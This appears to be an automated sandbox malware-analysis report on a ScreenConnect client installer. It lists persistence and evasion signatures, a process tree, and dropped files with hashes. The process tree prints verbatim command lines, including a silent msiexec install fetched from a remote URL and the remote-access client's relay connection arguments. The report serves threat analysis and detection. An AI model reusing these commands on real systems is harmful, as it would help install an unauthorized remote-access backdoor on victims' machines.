Analysis

  • max time kernel
    148s
  • max time network
    141s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 09:16

General

  • Target
    ScreenConnect.ClientSetup.exe
  • Size 12.2MB
  • Sample260808-k8svdscf96
  • SHA256 3e47157fc941f08d9046e6de889befb9c59d6546e7e3b5a22e4626d9c221cbb3
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Use of msiexec (install) with remote resource 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 9 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 18 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 42 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3536
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.4.3.9662\d22140e8bee83d9c\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe"
      2⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4292
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4608
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding F5ACCF139FF2DA1D93CEF058B4593FE8 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4400
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF090.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240775546 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4344
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF498.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240776406 10 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
        3⤵
        • Badlisted process makes network request
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2244
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIFA75.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240777859 17 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5964
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3152
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding EC354DE18C17D802BC715FC0D06B0BD7
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:240
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding C901B7F0F84A7A3344939BD23339C67E E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4320
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3764
    • C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-j70uvz-relay.screenconnect.com&p=443&s=d2f88dc1-fe1c-4a7f-9f32-adee867ec774&k=BgIAAACkAABSU0ExAAgAAAEAAQCtw%2bSkFM3MN6%2f380Al41%2b%2b6TpZr1TCn%2f8DwN89oSFdrgWh0%2fnbqnWbZDhx01tNFo7E0V1Gyf%2bbvTUqQKmMko2egYJq9gxaFgI6h1yPyE2i4dVL4DuLefJ%2bVfarj%2b9yRBRo7vudFE3Rljrw7RZThHLLbKp2dbFdX3%2bpib95XYa8tg3aaeM8qQ3eBt34hL%2b18hesj4mtR536oYybIuU5wRyFQkEoov2TO9iKlz1%2bCesu%2bfoqdLEJBEvyeYUSoTS2zqk1frHRAyzU5fvSL5Fed6p9gkWkJiBK6eM6ZKV3gmlg3nT7rvzvV8Lk1qhCnxj5jsrhLI0Gp2X1%2fxJ%2bjwzanpPM"
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1316
      • C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\ScreenConnect.WindowsClient.exe" "RunRole" "dae22a6e-bda7-41cd-8304-4ea4f150d543" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:4052
      • C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\ScreenConnect.WindowsClient.exe" "RunRole" "69d50763-b37a-4d59-864f-72aa3c397c1a" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5308
      • C:\Windows\system32\cmd.exe
        "cmd.exe" /c "C:\Windows\SystemTemp\ScreenConnect\26.4.3.9662\qa3p6pBDUkCVrun.cmd"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1520
        • C:\Windows\System32\msiexec.exe
          msiexec.exe /i "https://grouponviews.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest" /qn
          3⤵
          • Use of msiexec (install) with remote resource
          • Suspicious use of SetWindowsHookEx
          PID:5380

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5a4355.rbs

          • Path C:\Config.Msi\e5a4355.rbs
          • Size 214KB
          • SHA256 82f9b148084842c8acdf6cf2cc337cf9ff93b45577a05a875ce11cdce2a1e5fa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\Client.en-US.resources
          • Size 64KB
          • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\Client.resources
          • Size 6KB
          • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\ScreenConnect.Client.dll
          • Size 412KB
          • SHA256 4010ea184982e71ad71e76b43266488c954f665324b89ef042cea9e463a60c9d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\ScreenConnect.ClientService.dll
          • Size 91KB
          • SHA256 6e6aa42b107d3e82b7b7dc18a75eee3f09e9f268788c0a7edbbc617152adf178
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 a94ecccb5b88e3860d619fbb3b87ff4af6448240ab65b89d610f348d75e793f2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\ScreenConnect.Core.dll
          • Size 577KB
          • SHA256 eedbd9ba4755f238af397c71b575082e18a31eabacc22abb4949f92fe991e169
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 305663a05c77c8058569a976db740aa2f20b66583f0381059633b628376570fc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\ScreenConnect.WindowsClient.exe
          • Size 676KB
          • SHA256 f49ca44ae19ec33053d76aeca7136193095b6583888a0be063b8120c3c9226c7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 ce75ee1188726b49d46477166faac6f8715ca1aa4afc5b8a687fcbfcd541c0c2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (d22140e8bee83d9c)\system.config
          • Size 974B
          • SHA256 6196b9d93c53c941aa0571c3dd885ab26ffb0d40f7e6c7194119af5e7cc15ffa
          • MD5 SHA1 SHA512 TLSH

          MSIF090.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF090.tmp
          • Size 1.1MB
          • SHA256 18bacfd2a7c95800b6279cb8731bf03c8bbb526f5bc3790254a8e06d7ceee8ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF090.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF090.tmp-\ScreenConnect.Core.dll
          • Size 567KB
          • SHA256 15fec18d3a8990cdb540897ede61227353165668048c001164fcd22233cc8390
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF090.tmp-\ScreenConnect.InstallerActions.dll
          • Size 24KB
          • SHA256 c1142cc3ae09a7d3b5392539c29cbeb585543a38c93e37e55d82cbe0bb56d588
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF090.tmp-\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 ae3005e1ca932eccde09c479fde2ecf8ea2feeb908dec4f0c830eab671276454
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CustomAction.config

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF498.tmp-\CustomAction.config
          • Size 234B
          • SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF498.tmp-\ScreenConnect.WindowsInstaller.dll
          • Size 137KB
          • SHA256 7c27380976a5befc5a947e129eb464123f46d06cf0eb7f984ced921f36e1d0e7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.4.3.9662\d22140e8bee83d9c\ScreenConnect.ClientSetup.msi
          • Size 9.8MB
          • SHA256 ba86d4dc3ca9fbdf84a6f4b0bc77c3556546b1f7b61ae9991740a3063f7455fd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI49DC.tmp

          • Path C:\Windows\Installer\MSI49DC.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          jknbm3q0.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (d22140e8bee83d9c)\jknbm3q0.newcfg
          • Size 881B
          • SHA256 a4943999072a710d4ab7cbcbe4e1df8bbb19ec04323eb84c6fd2ce93765a2d07
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (d22140e8bee83d9c)\user.config
          • Size 683B
          • SHA256 5ab36920b1a6427555f92718d471bc1642e274d8235fbd8a1b319a84c0554170
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (d22140e8bee83d9c)\user.config
          • Size 520B
          • SHA256 5e2ba16baeccb91d40ba5b5758b062716cf9fa889cf6dfa8d84d6abd3b6f9b6f
          • MD5 SHA1 SHA512 TLSH

          qa3p6pBDUkCVrun.cmd

          • Path C:\Windows\SystemTemp\ScreenConnect\26.4.3.9662\qa3p6pBDUkCVrun.cmd
          • Size 96B
          • SHA256 73c2ea4b2bc2b5d0ead851935dcbc6dbd082d973e812631a7f2b5f17a42d9baf
          • MD5 SHA1 SHA512 TLSH

          memory/1316-193-0x0000000004280000-0x00000000042EC000-memory.dmp

          memory/1316-227-0x0000000005820000-0x0000000005886000-memory.dmp

          memory/1316-153-0x00000000017A0000-0x00000000017BA000-memory.dmp

          memory/1316-198-0x0000000004580000-0x0000000004656000-memory.dmp

          memory/1316-196-0x0000000003FB0000-0x0000000003FF1000-memory.dmp

          memory/1316-159-0x0000000003E10000-0x0000000003EA4000-memory.dmp

          memory/1316-163-0x0000000004060000-0x0000000004210000-memory.dmp

          memory/1316-194-0x0000000004390000-0x0000000004422000-memory.dmp

          memory/1316-176-0x0000000004000000-0x0000000004050000-memory.dmp

          memory/2244-76-0x00000000057A0000-0x00000000057C8000-memory.dmp

          memory/3536-7-0x0000000074B90000-0x000000007534C000-memory.dmp

          memory/3536-1-0x0000000000C70000-0x0000000000C78000-memory.dmp

          memory/3536-5-0x00000000032F0000-0x0000000003318000-memory.dmp

          memory/3536-8-0x0000000006170000-0x000000000672A000-memory.dmp

          memory/3536-10-0x0000000074B90000-0x000000007534C000-memory.dmp

          memory/3536-0-0x0000000074BA2000-0x0000000074BA3000-memory.dmp

          memory/3536-12-0x0000000074B90000-0x000000007534C000-memory.dmp

          memory/3536-6-0x0000000005A00000-0x0000000005BB0000-memory.dmp

          memory/3536-3-0x00000000058D0000-0x0000000005964000-memory.dmp

          memory/3536-4-0x0000000074B90000-0x000000007534C000-memory.dmp

          memory/3536-2-0x0000000000CA0000-0x0000000000CAC000-memory.dmp

          memory/4052-220-0x000000001C420000-0x000000001C5D0000-memory.dmp

          memory/4052-216-0x0000000000FE0000-0x000000000108E000-memory.dmp

          memory/4052-218-0x0000000003280000-0x00000000032EC000-memory.dmp

          memory/4052-219-0x000000001C0D0000-0x000000001C164000-memory.dmp

          memory/4052-221-0x00000000030B0000-0x00000000030CA000-memory.dmp

          memory/4052-222-0x000000001C5D0000-0x000000001C758000-memory.dmp

          memory/4344-42-0x00000000054F0000-0x0000000005584000-memory.dmp

          memory/4344-38-0x0000000002660000-0x000000000266C000-memory.dmp

          memory/4344-34-0x0000000002630000-0x000000000265E000-memory.dmp

          memory/4344-46-0x0000000005740000-0x00000000058F0000-memory.dmp

          memory/5308-224-0x0000000002C40000-0x0000000002C81000-memory.dmp